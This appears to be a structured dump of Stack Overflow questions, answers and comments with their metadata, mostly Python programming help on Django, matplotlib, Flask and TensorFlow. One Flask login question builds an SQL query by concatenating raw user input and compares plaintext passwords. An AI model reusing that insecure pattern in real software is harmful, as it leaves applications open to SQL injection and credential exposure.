has answer: http://stackoverflow.com/a/49470631
has body: I have a given title I want to start splitting on whitespace and punctuation of a list, so that no word in the resulting list contains any whitespace or punctuation character. Ex: the word "Joe's" gets split into "Joe" and "s" 'ad sf' gets split into 'ad' and 'sf' Starting: ['Toms', 'ad sf', "Joe's"] Ending: ['Toms', 'ad', 'sf' , 'Joe', 's'] I have tried regex, split, but there's not an easy and concise way. Can anyone think of a better way?
upvote count: 1
tagged with: file
tagged with: regex
has answer: http://stackoverflow.com/a/49470180
type: Question
tagged with: split

http://stackoverflow.com/q/49525678
tagged with: python-multiprocessing
type: Question
score: 0
type: UnansweredQuestion
answer count: 1
has title: Python multiprocessing apply_async: what am I missing?
has answer: http://stackoverflow.com/a/49525752
has body: I'm trying to understand how the apply_async function of the multiprocessing library is working but I keep banging my head against the wall. What did I missed? from multiprocessing import Pool import time import threading def test(): time.sleep(15) print "test" def test_launcher(): pool = Pool(processes=1) result = pool.apply_async(test) def printit(): threading.Timer(5.0, printit).start() print time.strftime("%H:%M:%S", time.gmtime()) if __name__ == '__main__': print "Before" test_launcher() print "After" printit() I don't want to wait for the return of test(), I want to continue and get the printing from test() when it had finish. Shouldn't it be printing "test" after 2 or 3 printing of time?
tagged with: python

http://stackoverflow.com/a/49478725
downvote count: 0
has comment: http://stackoverflow.com/comment/85961151
type: Answer
has comment: http://stackoverflow.com/comment/85960425
score: 12
upvote count: 12
has comment: http://stackoverflow.com/comment/85960991
has comment: http://stackoverflow.com/comment/85960449
has comment: http://stackoverflow.com/comment/85960922
accepted answer of: http://stackoverflow.com/q/49478700
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/85960214
has comment: http://stackoverflow.com/comment/85960243
has comment: http://stackoverflow.com/comment/85961039
answers question: http://stackoverflow.com/q/49478700
has body: As NOT NULL constraint is getting failed hence error. Either make null=True album = models.OneToOneField(Album,on_delete=models.CASCADE, null=True) Or use signals to connect the user with the album.
has comment: http://stackoverflow.com/comment/140118274

http://stackoverflow.com/comment/86097063
type: AnswerComment
has text: @ElizabethMattijsen Thanks! Edited as per your suggestion. I think that the Python syntax would have made `oauth_consumer` required. It's so nice in Perl 6 not to have to list all of the public attributes twice.
type: Comment
comment on: http://stackoverflow.com/a/49541955
score: 2

http://stackoverflow.com/a/49446270
type: Answer
has body: There is not enough data to estimate the covariance matrix sigma. x needs more rows than columns to estimate a well defined covariance matrix. This for example will let the code run without problems: x = np.random.rand(100, 10) Alternatively, if you simply don't have enough data, you can use regularization (or shrinkage) to better condition the covariance matrix: sigma += np.eye(10) * 1e-3 # problem: how to chose the factor Scikit-learn has the ledoit_wolf covariance estimator, which automatically determines the amount of regularization based on the available data.
has comment: http://stackoverflow.com/comment/85916312
has comment: http://stackoverflow.com/comment/85914678
has comment: http://stackoverflow.com/comment/85916418
score: 3
upvote count: 3
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/85924334
accepted answer of: http://stackoverflow.com/q/49443880
has comment: http://stackoverflow.com/comment/85910465
answers question: http://stackoverflow.com/q/49443880
has comment: http://stackoverflow.com/comment/85918586
has comment: http://stackoverflow.com/comment/85918345
has comment: http://stackoverflow.com/comment/85918059
has comment: http://stackoverflow.com/comment/85917411
has comment: http://stackoverflow.com/comment/85918238

http://stackoverflow.com/a/57761472
has body: Old question, but I'm dealing with the same issue and figure others might find this question. Apparently, to access the hardware pwm channel, you need to explicitly set the GPIO mode. GPIO.set_mode(18, pigpio.ALT5) Source: https://nerdhut.de/2016/05/09/exact-timings-raspberry-pi/
downvote count: 0
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/49539104

http://stackoverflow.com/q/49505304
has answer: http://stackoverflow.com/a/49710280
has comment: http://stackoverflow.com/comment/86396927
has comment: http://stackoverflow.com/comment/86286887
has title: How to get admin rights to write Windows usernames in a csv file with Python?
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/19672352
has comment: http://stackoverflow.com/comment/86294884
tagged with: python
has body: I want to write Windows usernames in a csv file. I wrote this script in Linux, connected to Win10 PC via krdc and RDP protocol. I shared my Linux drive over that remote desktop app with Win10 and then I ran this scipt from that shared disk in Win10. If I do this via command prompt as administrator it runs as expected. However, if I run it as a normal user and UAC is confirmed as Yes, the output file is not created. How to run this script as a normal user, answering yes to UAC and having that file writen in my mounted drive over rdp protocol in krdc remote app where Win10 sees that drive as \\TSCLIENT? #!/usr/bin/env python3 # -*- coding: utf-8 -*- import ctypes import sys import subprocess def is_admin(): try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False if is_admin(): subprocess.call(['wmic', '/output:usracc.txt', 'useraccount', 'list', 'full', '/format:csv']) else: # Re-run the program with admin rights ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
tagged with: uac
score: 9
tagged with: rdp
downvote count: 0
has comment: http://stackoverflow.com/comment/86294673
answer count: 1
favorite count: 0
type: Question
upvote count: 9

http://stackoverflow.com/comment/86036636
comment on: http://stackoverflow.com/q/49515768
score: 1
type: Comment
type: QuestionComment
has text: Please format your question so it is readable.

http://stackoverflow.com/comment/86081041
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49526100
type: Comment
has text: @jaykodeveloper My bad, I was answering question on mobile and didn't pay 100% attention into the detail. However, I guess you get the general idea.

http://stackoverflow.com/a/49565993
accepted answer of: http://stackoverflow.com/q/49559498
answers question: http://stackoverflow.com/q/49559498
type: Answer
has body: If you're running into the problem I expect you are, the problem is that the weights you are printing out succesfully are tensorflow variables (meaning their values get stored as part of the session), but h_conv1 is an operation, meaning it has an output that is defined as a function of its input. Since those inputs end up routing back to placeholder variables, and you're not giving any placeholder variables when you eval the operation, it fails with InvalidArgumentOperation. What I'm guessing what you're looking for is the value of the output the last time you ran the training operation. To get this, the approach I got working is simply to attach a tf.Print operation to that node, and then evaluating that at the same time as I run the training operation. So in your graph definition you have something like this: h_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1) h_conv1_printop = tf.Print(h_conv1, [h_conv1]) Then replace this line: train_step.run(feed_dict={x: batch[0], y_: batch[1], keep_prob: 0.5}) with this line: _, hconv1_out = sess.run([train_step, h_conv1_printop], feed_dict={x: batch[0], y_: batch[1], keep_prob: 0.5}) print(hconv1_out) Basically, attach a print Op to the relu Op you want to see the output of, and then evaluate that Op at the same time you are running the rest of the session so that it gets filled in with the value. Hopefully that makes sense and solves your issue, always helpful to review the docs on graphs and sessions since this is all a common point confusion.
score: 0
has comment: http://stackoverflow.com/comment/86163677
type: AcceptedAnswer

http://stackoverflow.com/comment/85940479
comment on: http://stackoverflow.com/a/49468792
type: AnswerComment
score: 0
type: Comment
has text: ahh I see. Well if you want to see how it would be done you can checkout [the source code](https://github.com/python/cpython/blob/master/Modules/itertoolsmodule.c#L3035-L3056) for `itertools.permutations`. Its implemented in C for performance but they have the python equivalent in comments

http://stackoverflow.com/q/49489944
favorite count: 0
score: -1
has comment: http://stackoverflow.com/comment/85982847
tagged with: importerror
linked to: http://stackoverflow.com/q/47179433
type: Question
tagged with: matplotlib
tagged with: python
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/47179433
has comment: http://stackoverflow.com/comment/85983130
has comment: http://stackoverflow.com/comment/85983279
has comment: http://stackoverflow.com/comment/85982757
has comment: http://stackoverflow.com/comment/85983175
has title: Issue with matplotlib out of the blue
upvote count: 0
has body: I am getting this issue Traceback (most recent call last): File "Path.py", line 4, in &lt;module&gt; import matplotlib.pyplot as plt File "C:\Python27\lib\site-packages\matplotlib\__init__.py", line 131, in &lt;module&gt; from matplotlib.rcsetup import defaultParams, validate_backend, cycler File "C:\Python27\lib\site-packages\matplotlib\rcsetup.py", line 29, in &lt;module&gt; from matplotlib.fontconfig_pattern import parse_fontconfig_pattern File "C:\Python27\lib\site-packages\matplotlib\fontconfig_pattern.py", line 28, in &lt;module&gt; from backports.functools_lru_cache import lru_cache ImportError: No module named functools_lru_cache I have tried so far:- To uninstall functools_lru_cache and install it again To uninstall matplotlib and install it again Removing the folders from site-dist and installing again I have installed Python and Pylint for VS Code when it broke. It is not only related to VS Code, I cannot run the code directly from CMD either.
has comment: http://stackoverflow.com/comment/85983412
has answer: http://stackoverflow.com/a/49490052
tagged with: pip
has comment: http://stackoverflow.com/comment/85983186
answer count: 1
downvote count: 1

http://stackoverflow.com/comment/86072446
type: QuestionComment
comment on: http://stackoverflow.com/q/49532854
score: 0
has text: Sorry @abccd, now it's the same of start question, the same code.
type: Comment

http://stackoverflow.com/q/49463596
tagged with: python
linked to: http://stackoverflow.com/q/11837979
answer count: 0
score: 1
tagged with: matplotlib
downvote count: 0
has comment: http://stackoverflow.com/comment/85934247
tagged with: spectrogram
upvote count: 1
duplicate of: http://stackoverflow.com/q/11837979
favorite count: 0
has comment: http://stackoverflow.com/comment/85930780
type: Question
has comment: http://stackoverflow.com/comment/85933949
has comment: http://stackoverflow.com/comment/85930354
has title: Save a figure without white space pyplot
type: UnansweredQuestion
has body: I have the following code that creates a spectrogram. The problem I have is when I save the figure, there is white space where the axis used to be, I am wondering if it is possible to remove it? x, y = np.mgrid[:len(times), :len(hist_bins_khz)] fig, ax = plt.subplots() ax.pcolormesh(x, y, np.swapaxes(amplitudes_logged, 0, 1)) plt.axis('off') plt.savefig("testfile.png"),bbox_inches="tight")

http://stackoverflow.com/q/49489584
has comment: http://stackoverflow.com/comment/85981956
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/85985325
downvote count: 0
has comment: http://stackoverflow.com/comment/85987767
has body: I am trying to clean up the library we have at the section to create plots (python3+matplotlib) and one of the nightmares is the pyplot usage. The idea is to have the figure creation and the rendering split and avoid using the pyplot. In theory the steps are easy: Create the figure with matplotlib.figure.Figure Choose a backend Associate it to a canvas and if the backend has GUI to a manager Show or save to file So I finished with the following demo code that works: #!/usr/bin/env python3 import sys import importlib import matplotlib from matplotlib.figure import Figure def fancy_plot(): """ Create a graph to render it in any canvas Returns: A Matplotlib Figure """ fig = Figure() ax = fig.add_subplot(1, 1, 1) ax.plot([0, 1, 2, 3], [-1, 1, 0, 2]) ax.set_title('Important graph') ax.grid(True) ax.set_xlabel('x') ax.set_ylabel('y') return fig def select_backend(name=None): """ Extracted from matplotlib.backends.__init__.py:pylab_setup Args: name: Name of the backend or None for the default one Returns: The backend module """ # Import the requested backend into a generic module object if name is None: # validates, to match all_backends name = matplotlib.get_backend() if name.startswith('module://'): backend_name = name[9:] else: backend_name = 'backend_' + name backend_name = backend_name.lower() # until we banish mixed case backend_name = 'matplotlib.backends.%s' % backend_name.lower() return importlib.import_module(backend_name) def is_gui_backend(backend): """ Check if the backend has a GUI or not. Args: backend: Module from matplotlib.backends.* Returns: True if the backend is in the list of matplotlib.rcsetup.interactive_bk """ name = backend.__name__.lower() if '_' not in name: return False # Deal with the pesky capitalisation... interactive = [txt.lower() for txt in matplotlib.rcsetup.interactive_bk] return name.split('_')[-1] in interactive def main(): # Create a plot, not linked to any backend fig = fancy_plot() # Select the backend from command line if len(sys.…
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85985810
has title: Use of Matplotlib without pyplot
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85984482
tagged with: matplotlib
tagged with: python
has comment: http://stackoverflow.com/comment/85984756
has comment: http://stackoverflow.com/comment/85985470
answer count: 0

http://stackoverflow.com/q/49505595
has body: I want to update model's data. I am using Django Rest Framework.I am making a system saved user data to model.I wrote in views.py class InfoViews(viewsets.ModelViewSet): queryset = Info.objects.all() serializer_class = InfoSerializer lookup_field = 'id' def update(self,request, *args, **kwargs): data = request.data info_serializers = InfoSerializer(data = data) if info_serializers.is_valid(raise_exception=True): info_serializers.save() return JsonResponse(info_serializers.data) in serializers.py class InfoSerializer(serializers.ModelSerializer): created_time = serializers.DateTimeField(required=False) class Meta: model = Info fields = '__all__' in models.py class Info(models.Model): username = custom_fields.NotEmptyCharField(max_length=100, unique=True) email = models.EmailField() password = custom_fields.NotEmptyCharField(max_length=100) class Meta: db_table = 'info' When I run this codes,always when i update a record,new record is made.Is it cause save() of info_serializers.save()? What is wrong in my codes?How should I fix this?
answer count: 1
has answer: http://stackoverflow.com/a/49505763
accepted answer: http://stackoverflow.com/a/49505763
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86015309
tagged with: django
tagged with: python
score: -1
upvote count: 2
has title: Djando update model data
type: AnsweredQuestion
downvote count: 3

http://stackoverflow.com/q/49499106
favorite count: 0
type: Question
tagged with: linux
has title: Suppress Firefox Terminal Messages Python/Linux
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86002601
tagged with: firefox
downvote count: 0
tagged with: python
has answer: http://stackoverflow.com/a/57034635
has body: I'm new to Python programming and am attempting to make a script to open URLs/IP addresses with a web browser using Python's webbrowser module. The actual action of opening the web browser is working fine, but I am getting logging messages from firefox spamming the terminal window that my script is running from. While it doesn't ultimately keep the script from doing its job, it is making it difficult to display prompts as the errors shove them out of view. These errors seem to be caused when I exit out of the spawned firefox window. These are examples of the errors being displayed: ###!!! [Child][MessageChannel] Error: (msgtype=0x460102,name=PContent::Msg_AsyncMessage) Channel closing: too late to send/recv, messages will be lost ###!!! [Child][MessageChannel] Error: (msgtype=0x2C0048,name=PBrowser::Msg___delete__) Channel closing: too late to send/recv, messages will be lost I tried to mitigate this by spawning an instance of firefox with a command to send error messages to null instead of the terminal, but this did not help: os.system("firefox &amp;&gt; /dev/null"); time.sleep(1) #before calling below in a while loop. opens tabs in the same window that opens from the above command. webbrowser.open("http://" + urls.pop(0) + ":" + port,new=2) Any ideas? Thanks! My entire script: """This script will open URLs and IP addresses in the default web browser. Please store all URLs and/or IPs in a file called 'port80.txt'. Please ignore errors that appear in the terminal upon closing your web browser (may only affect Firefox on Kali Linux). Thanks.""" import webbrowser import time import sys import os #sys.tracebacklimit = 0 counter = 0;port = "0" while port != "80" and port != "443": port = raw_input("Port 80 or Port 443?\n") try: fileOfURLs = open("port"+port+".txt","r") except: print("Could not open file. Check if it exists. Exiting...") exit() urls = [] readFile = fileOfURLs.readlines() for line in readFile: urls.append(line.strip()) fileOfURLs.close() #get how many url…
tagged with: python-webbrowser
score: 1
has comment: http://stackoverflow.com/comment/86003486
answer count: 1
upvote count: 1

http://stackoverflow.com/q/49536604
answer count: 1
has body: I am creating a PyQt applicaton with a matplotlib figure containing 4 subplots (screenshot of the figure): I would like to create 2 buttons "pan left" and "pan right", which will pan the 4 subplots at a selected rate on the x axis. I would also like to include a button in the GUI - "jump to location", which will read a value from a textbox in the GUI and jump to that location on the x axis - on all 4 subplots. I haven't found a way to manipulate the existing pan feature in these ways. Any suggestions would be appreciated. Thanks.
has title: pan buttons + jump to location in matplotlib
type: Question
has comment: http://stackoverflow.com/comment/86081645
has comment: http://stackoverflow.com/comment/86104894
has answer: http://stackoverflow.com/a/49550886
tagged with: data-visualization
tagged with: pyqt4
tagged with: matplotlib
tagged with: python
score: 0
tagged with: pyqt
type: UnansweredQuestion

http://stackoverflow.com/q/49509171
has answer: http://stackoverflow.com/a/49509233
possible better answer: http://stackoverflow.com/a/49509233
accepted answer: http://stackoverflow.com/a/49509534
tagged with: django
tagged with: django-forms
has answer: http://stackoverflow.com/a/49511334
favorite count: 0
type: Question
score: 3
has body: I have a problem in registration with django, here is my views code: def register(request): if request.method == 'POST': form = RegistrationForm(request.POST) if form.is_valid(): form.save() return redirect('/') else: form = RegistrationForm() args = {'form': form} return render(request, 'users/reg_form.html', args) ,but i always get: ValueError at /user/register/ The view Users.views.register didn't return an HttpResponse object. It returned None instead. Request Method: POST Request URL: http://127.0.0.1:3001/user/register/ Django Version: 2.0.2 Exception Type: ValueError Exception Value: The view Users.views.register didn't return an HttpResponse object. It returned None instead. Exception Location: /home/iah/.local/lib/python3.5/site-packages/django/core/handlers/base.py in _get_response, line 139
has answer: http://stackoverflow.com/a/49509240
has answer: http://stackoverflow.com/a/49509534
tagged with: python
answer count: 4
type: AnsweredQuestion
upvote count: 3
has title: How to solve the did not return httpresonse error with django?
linked to: http://stackoverflow.com/q/26258905
tagged with: django-views
downvote count: 0

http://stackoverflow.com/comment/86079254
score: 0
type: QuestionComment
has text: Are you running on another machine using `docker run` or `docker-compose up`?
type: Comment
comment on: http://stackoverflow.com/q/49536180

http://stackoverflow.com/comment/85970391
has text: Found one research paper implementing CNN model on this data. So trying to imitate. more of a research oriented work. they have mentioned anything about the input reshaping
type: QuestionComment
comment on: http://stackoverflow.com/q/49483748
score: 0
type: Comment

http://stackoverflow.com/comment/86052657
type: AnswerComment
has text: I think `"table_name"` is a typo tbh. Upvote though; you beat me to it (though we have different documentation) :)
comment on: http://stackoverflow.com/a/49523319
type: Comment
score: 0

http://stackoverflow.com/q/49496798
tagged with: jupyter-notebook
type: Question
score: 0
answer count: 0
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/86010133
has comment: http://stackoverflow.com/comment/85997976
has body: Hi i have this JupyterNotebook project and im new to it. My problem is my font Ms Mincho does not work. I really dont know on how to solve this problem and im stuck on it. Iv'e check the path file but no good. Here is the error code below C:\ProgramData\Anaconda3\lib\site-packages\matplotlib\font_manager.py:1320: UserWarning: findfont: Font family ['MS Mincho'] not found. Falling back to DejaVu Sans (prop.get_family(), self.defaultFamily[fontext])) Can someone help me figured this thing out? My anaconda --version is version 1.6.9 and my python is 3.6.4. Iv'e checked my fonts in my windows then there is a Ms Mincho font installed on it. Ive seen some reference the same error as mine but i didn't find any solution. Ive also check the folder .matplotlib folder cache also. Seems no luck. Any help is muchly appreciated.
tagged with: anaconda
has title: UserWarning: findfont: Font family ['MS Mincho'] not found. Using JupyterNotebook

http://stackoverflow.com/comment/86152628
type: Comment
has text: Is this error coming in Bokeh?, as that may be due to issues with Bokeh source file readers.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49572454

http://stackoverflow.com/q/49579846
accepted answer: http://stackoverflow.com/a/49579866
has comment: http://stackoverflow.com/comment/86167448
type: AnsweredQuestion
upvote count: 0
answer count: 3
favorite count: 0
has answer: http://stackoverflow.com/a/49579866
type: Question
has answer: http://stackoverflow.com/a/49579856
linked to: http://stackoverflow.com/q/12838549
has comment: http://stackoverflow.com/comment/86167594
downvote count: 8
possible better answer: http://stackoverflow.com/a/49579856
has comment: http://stackoverflow.com/comment/86167476
has title: How to combine numbers?
has comment: http://stackoverflow.com/comment/86167883
score: -8
has answer: http://stackoverflow.com/a/49579963
has body: x = 5 y = 8 I want to combine those variables and define an another variable, like: z = 58
has comment: http://stackoverflow.com/comment/86167539
tagged with: python
tagged with: variables
has comment: http://stackoverflow.com/comment/86167655

http://stackoverflow.com/comment/86188071
score: 0
type: AnswerComment
type: Comment
has text: Just one more thing, how do i generate the standart deviation, I really don’t know which number can be adjusted
comment on: http://stackoverflow.com/a/49589818

http://stackoverflow.com/a/49592572
has comment: http://stackoverflow.com/comment/86192934
answers question: http://stackoverflow.com/q/49592193
score: 0
has comment: http://stackoverflow.com/comment/86195113
type: Answer
has body: A computer program is like a small town (or main city) that is built on the roads of your trips, and the computer might be the country (or the earth maybe). When you start a new program, it is like you are visiting that city with your car (or on foot). You either pass through the main street and exit the town without doing anything (maybe a saying "Hello Folks"), or decide to go to a shop maybe (where you answered an IF question "you wanna shop?"). Then you love the town and wanted to stay a few days here (another answered IF). now you are in a loop of "wake up, eat breakfast, go outside, have fun, eat lunch, go for more fun, eat dinner, sleep" for a few days. every activity here has its own decision trees and loops too. in the end, you drive your car to the exit again and leave the town. that's it! you leave the town and continue your journey to another town. it is there to visit another day, as a program written on a disk. it is just not a part of your current active trip. that's all. oh, by the way, you are the CPU of this analogy. you are the one to execute all these plans. if you have a friend or family with you, this means you can do multitasking too. you could be the programmer too if you plan this whole journey. what happens when a program ends is just a deletion from the active memory until next run, not from the computer. just like that small town. the computer continues to execute other active programs alongside its operating system on which we run multiple programs simultaneously (multitasking). what is the analogy to shut down the computer? you can imagine I guess. ps: this is not just a python related topic, you know that, right?
has comment: http://stackoverflow.com/comment/86195116

http://stackoverflow.com/comment/86084295
type: Comment
has text: 'raw strings' once evaluated, are just strings. There is no special object that is a raw string. No further 'conversion' is necessary. The problem you have is that you are using backslash escapes `\\ ` in a raw string. When using raw strings, the `\\ ` is treated as literal. Then, the escaped version (as shown in the repr) looks like `\\\\ ` --
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49538531

http://stackoverflow.com/comment/86166553
has text: sorry for that ...I want a code to check if the datetime.now() is equal to the entry provided and if its equal it show show the notificatication that the time has ended
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49578317
score: 0

http://stackoverflow.com/q/49509050
has answer: http://stackoverflow.com/a/49558350
tagged with: plot
score: 0
answer count: 1
tagged with: bokeh
tagged with: tornado
type: Question
has body: I'm trying to plot a real time line graph with Bokeh. But my code just plots a blank figure. import numpy as np from bokeh.models import ColumnDataSource from bokeh.plotting import figure, curdoc source = ColumnDataSource({'x': [], 'y': []}) def update(): new = {'x':[np.random.rand(1,3)], 'y':[np.random.rand(1,3)]} source.stream(new) p = figure(plot_width=800, plot_height=400, x_range=[0, 1], y_range=[0, 1], x_axis_label = 'x', y_axis_label = 'y', ) p.line(source=source, x='x', y='y') curdoc().add_root(p) curdoc().add_periodic_callback(update, 100)
has title: bokeh streaming blank figure
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/a/61024184
has body: It's due to API Limit. The translation limit for each Initialization. So Reinitialize the Translator after the limit by breaking down the code. from googletrans import Translator translator = Translator()
answers question: http://stackoverflow.com/q/49497391
type: Answer
score: 0

http://stackoverflow.com/comment/86193853
comment on: http://stackoverflow.com/q/49592776
score: 0
has text: I just have to understand on this small example what I have to do to show each user's username(A, B and C) when accessing profile.html and refreshing the page
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86184922
has text: Since you're dealing with a binary problem I would suggest you to use only one class (either it's in the class or not), to do this, change the following lines to `num_classes = 1 #y_train = keras.utils.to_categorical(y_train, num_classes) #y_test = keras.utils.to_categorical(y_test, num_classes)` so just don't use the categorical transformation. If you apply my code then, you see which ones you missed.
type: AnswerComment
comment on: http://stackoverflow.com/a/49586510
score: 0
type: Comment

http://stackoverflow.com/comment/85939673
comment on: http://stackoverflow.com/a/49468534
score: 0
has text: You need to change `[row[0].value]` to `row[0].value`. have you changed it?
type: Comment
type: AnswerComment

http://stackoverflow.com/a/49502045
has body: You can use list.index to find the index of the first occurence of'&amp;' and then slice before and after that index. def get_names(lst): try: index = lst.index('&amp;') except ValueError: ... # return some default value if `'&amp;'` is not in you list return ' '.join(lst[:index]), ' '.join(lst[index + 1:]) lst = ['John', 'Adams', 'Jr.', '&amp;', 'George', 'Washington'] name_one, name_two = get_names(lst) name_one # 'John Adams Jr.' name_two # 'George Washington'
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/49502004
score: 2
type: Answer

http://stackoverflow.com/comment/85929721
score: 0
has text: That's the error I'm getting when I run the code from the question, therefore my answer. But your're right, if the code runs once, it's not the problem. I've read over this part in the question, my fault. :-)
type: Comment
comment on: http://stackoverflow.com/a/49463238
type: AnswerComment

http://stackoverflow.com/a/49513716
has body: This should do the trick: cityData_df.groupby(['city', 'type'])['driver_count'].sum().reset_index()
accepted answer of: http://stackoverflow.com/q/49513629
answers question: http://stackoverflow.com/q/49513629
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/86032991
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/q/49557421
type: Question
has comment: http://stackoverflow.com/comment/86123393
has body: How can I automatically run a python script, whenever a Word-File is added to a specific folder? This python script would need to work with the Word-File afterwards. My operating system is Windows. Thanks for your help in advance.
has answer: http://stackoverflow.com/a/67958116
has title: How to automatically run python script, when file is added to folder?
has answer: http://stackoverflow.com/a/66431678
has comment: http://stackoverflow.com/comment/86126216
has comment: http://stackoverflow.com/comment/86122400
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49560006
downvote count: 0
linked to: http://stackoverflow.com/q/8990551
has comment: http://stackoverflow.com/comment/86122857
has comment: http://stackoverflow.com/comment/86123031
tagged with: python
answer count: 6
upvote count: 7
has comment: http://stackoverflow.com/comment/86123556
linked to: http://stackoverflow.com/q/32404
has answer: http://stackoverflow.com/a/69924738
has comment: http://stackoverflow.com/comment/86122842
has answer: http://stackoverflow.com/a/49558260
score: 7
tagged with: windows
tagged with: directory
has answer: http://stackoverflow.com/a/49558384
favorite count: 0

http://stackoverflow.com/comment/86051649
score: 1
type: Comment
has text: That's a vast improvement in my opinion, and empirically (according to my benchmark results), it appears to be the fastest—by a substantial amount—of any other answer posted so far (and produces the correct results, as far as I can tell from some limited testing of it I did on my own).
comment on: http://stackoverflow.com/a/49504440
type: AnswerComment

http://stackoverflow.com/comment/98730470
comment on: http://stackoverflow.com/a/55154657
score: 1
type: Comment
type: AnswerComment
has text: @43shahin, I'd like more details as well.

http://stackoverflow.com/q/49504902
has comment: http://stackoverflow.com/comment/86014172
tagged with: http://stackoverflow.com/tag/html
has title: When using redirect() in Flask, HTML is written to Console
tagged with: javascript
tagged with: python
has comment: http://stackoverflow.com/comment/86015628
duplicate of: http://stackoverflow.com/q/902408
duplicate of: http://stackoverflow.com/q/483745
has answer: http://stackoverflow.com/a/49514203
upvote count: 2
score: 1
linked to: http://stackoverflow.com/q/199099
has comment: http://stackoverflow.com/comment/86014741
answer count: 1
duplicate of: http://stackoverflow.com/q/199099
tagged with: flask
has comment: http://stackoverflow.com/comment/86014574
downvote count: 1
has comment: http://stackoverflow.com/comment/86013908
has body: So I've been working in Flask and ran into an irritating problem. I'm creating a website and using the redirect function the website doesn't switch pages. Each place I'm attempting to go to can render_template() when not called via redirect. Here's my code (yes, the hashed_password isn't hashed and I should probable redirect to next, but these are are problems for another day): @app.route('/logIn',methods=['Get', 'Post']) def logIn(): _name = request.form['inputName'] _password = request.form['inputPassword'] # _hashed_password = bcrypt.hashpw(_password, bcrypt.gensalt( 12 )) _hashed_password = _password conn = mysql.connect() cursor = conn.cursor() cursor.execute("SELECT * FROM tbl_user WHERE user_name = '" + _name + "'") user = cursor.fetchone() print(user[0]) if len(user[2]) is not 0 and user[3] == _password: active_user = User(user[0]) login_user(active_user) return (redirect(url_for('home'))) else: return json.dumps({'message': 'Username or Password not correct'}) @app.route('/Home') @login_required def home(): return render_template("home.html") This all works with a html and js background. The HTML doesn't have any code, only contains the button to be clicked (though if it'll help I can post the html). The JS looks like this for the login button: $(function() { $('#btnLogIn').click(function() { $.ajax({ url: '/logIn', data: $('form').serialize(), type: 'POST', success: function(response) { console.log(response); }, error: function(error) { console.log(error); } }); }); }); Finally, the output spits back the html for the Home page, the one I want to be rendering in the browser (this is the output): Python Flask Bucket List App Log Out I've been looking everywhere. Also, adding /Home after the local host domain calls the same GET as the one called after clicking the button and successfully loads the page. If anyone knows how to do this with loading the "next" url, that would be even better.
favorite count: 0
has comment: http://stackoverflow.com/comment/86015515
type: Question
has comment: http://stackoverflow.com/comment/86018688
type: UnansweredQuestion

http://stackoverflow.com/comment/85996575
comment on: http://stackoverflow.com/q/49495399
type: QuestionComment
score: 0
has text: I was referring to this example: https://stackoverflow.com/questions/18702105/parameters-to-numpys-fromfunction , found one more but can't find it right now.
type: Comment

http://stackoverflow.com/comment/86184461
has text: I meant y_test and y_pred, pls show these vectors. They need to be 1d
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49586510

http://stackoverflow.com/comment/86017875
type: QuestionComment
has text: I really appreciate it. thank you!
type: Comment
comment on: http://stackoverflow.com/q/49506553
score: 0

http://stackoverflow.com/a/49545948
answers question: http://stackoverflow.com/q/49521672
has body: not sure exactly what fixed it but this no longer creates the error #!/usr/bin/python import Adafruit_GPIO as GPIO import Adafruit_GPIO.FT232H as FT232H from time import sleep from threading import Thread import Tkinter as tk import tkFont # Temporarily disable the built-in FTDI serial driver on Mac &amp; Linux platforms. FT232H.use_FT232H() # Create an FT232H object that grabs the first available FT232H device found. device = FT232H.FT232H() d0 = 0 d1 = 1 device.setup(d0, GPIO.IN) device.setup(d1, GPIO.IN) class Application(): def __init__(self): self.root = tk.Tk() self.root.title("Show Voltage") self.root.grid() self.createWidgets() self.stop = False self.watcherThread = Thread(target = self.watcher, name="watcher") self.watcherThread.start() self.root.mainloop() def changeBackground(self, cell): if cell == 0: self.la_d0.config(bg="green") elif cell == 1: self.la_d1.config(bg="green") def returnBackground(self, cell): if cell == 0: self.la_d0.config(bg="black") elif cell == 1: self.la_d1.config(bg="black") def destroy(self): self.root.destroy() def quit(self): self.stop = True self.watcherThread.join() self.root.after(300, self.destroy) def watcher(self): while not self.stop: self.wa_d0 = device.input(d0) self.wa_d1 = device.input(d1) if self.wa_d0 == GPIO.HIGH: self.changeBackground(0) else: self.returnBackground(0) if self.wa_d1 == GPIO.HIGH: self.changeBackground(1) else: self.returnBackground(1) sleep(0.0125) def createWidgets(self): self.font = tkFont.Font(family='Helvetica', size=50, weight='bold') self.bt_font = tkFont.Font(family='Helvetica', size=18, weight='bold') self.fr_d0 = tk.Frame(height=100, width=100) self.la_d0 = tk.Label(self.fr_d0, text="d0", bg="black", fg="red", font=self.font) self.fr_d1 = tk.Frame(height=100, width=100) self.la_d1 = tk.Label(self.fr_d1, text="d1", bg="black", fg="red", font=self.font) self.fr_quit = tk.Frame(height=40, width=200) self.bt_quit = tk.Button(self.fr_quit, text="Quit!", bg="white", command=self.quit, font=self.…
type: Answer
score: 0

http://stackoverflow.com/a/50957966
has comment: http://stackoverflow.com/comment/113622387
score: 3
type: Answer
upvote count: 3
downvote count: 0
answers question: http://stackoverflow.com/q/49460486
